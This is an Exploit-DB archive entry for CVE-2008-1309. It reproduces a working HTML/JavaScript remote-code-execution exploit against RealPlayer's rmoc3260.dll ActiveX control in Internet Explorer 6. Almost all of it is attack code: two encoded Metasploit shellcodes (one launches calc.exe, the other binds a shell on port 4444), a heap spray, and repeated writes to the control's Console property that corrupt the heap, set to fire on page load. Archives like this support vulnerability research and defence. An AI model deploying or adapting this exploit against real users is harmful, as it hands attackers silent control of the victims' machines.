Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit

2008-04-01T00:00:00
ID EDB-ID:5332
Type exploitdb
Reporter Elazar
Modified 2008-04-01T00:00:00

Description

Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit. CVE-2008-1309. Remote exploit for windows platform

                                        
                                            <!-- 
Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit(Heap Corruption)
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, rmoc3260.dll version 6.0.10.45
Thanks to h.d.m. and the Metasploit crew
-->
<html>
 <head>
  <title>Real Player rmoc3260.dll ActiveX Control Remote Code Execution Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
   


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com 
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com 
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
                          "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
                          "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
                          "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
                          "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
                          "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
                          "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
                          "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
                          "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
                          "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
                          "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
                          "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
                          "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
                          "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
                          "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
                          "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
                          "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
                          "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
                          "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
                          "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
                          "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
                          "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
                          "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
                          "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
                          "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
                          "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
                          "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
                          "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
                          "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
                          "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
                          "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
                          "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
                          "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
                          "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
                          "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
                          "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
                          "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
                          "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
                          "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
                          "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
                          "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
                          "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
                          "%u684f%u3956%u386f%u4350");


	var bigblock = unescape("%u0C0C%u0C0C");
	var headersize = 20;
	var slackspace = headersize + shellcode1.length;
	while (bigblock.length < slackspace) bigblock += bigblock;
	var fillblock = bigblock.substring(0,slackspace);
	var block = bigblock.substring(0,bigblock.length - slackspace);
	while (block.length + slackspace < 0x40000) block = block + block + fillblock;

	

	var memory = new Array();
	for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 }
	
	var buf = '';
	while (buf.length < 32) buf = buf + unescape("%0C");

	var m = '';

	m = obj.Console;
	obj.Console = buf;
	obj.Console = m;
	
	m = obj.Console;
	obj.Console = buf;
	obj.Console = m;
	
	
 } 
  
   </script>
  
  
</head>
 <body onload="JavaScript: return Check();">
	<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">
		Unable to create object
	</object>

 </body>
</html>

# milw0rm.com [2008-04-01]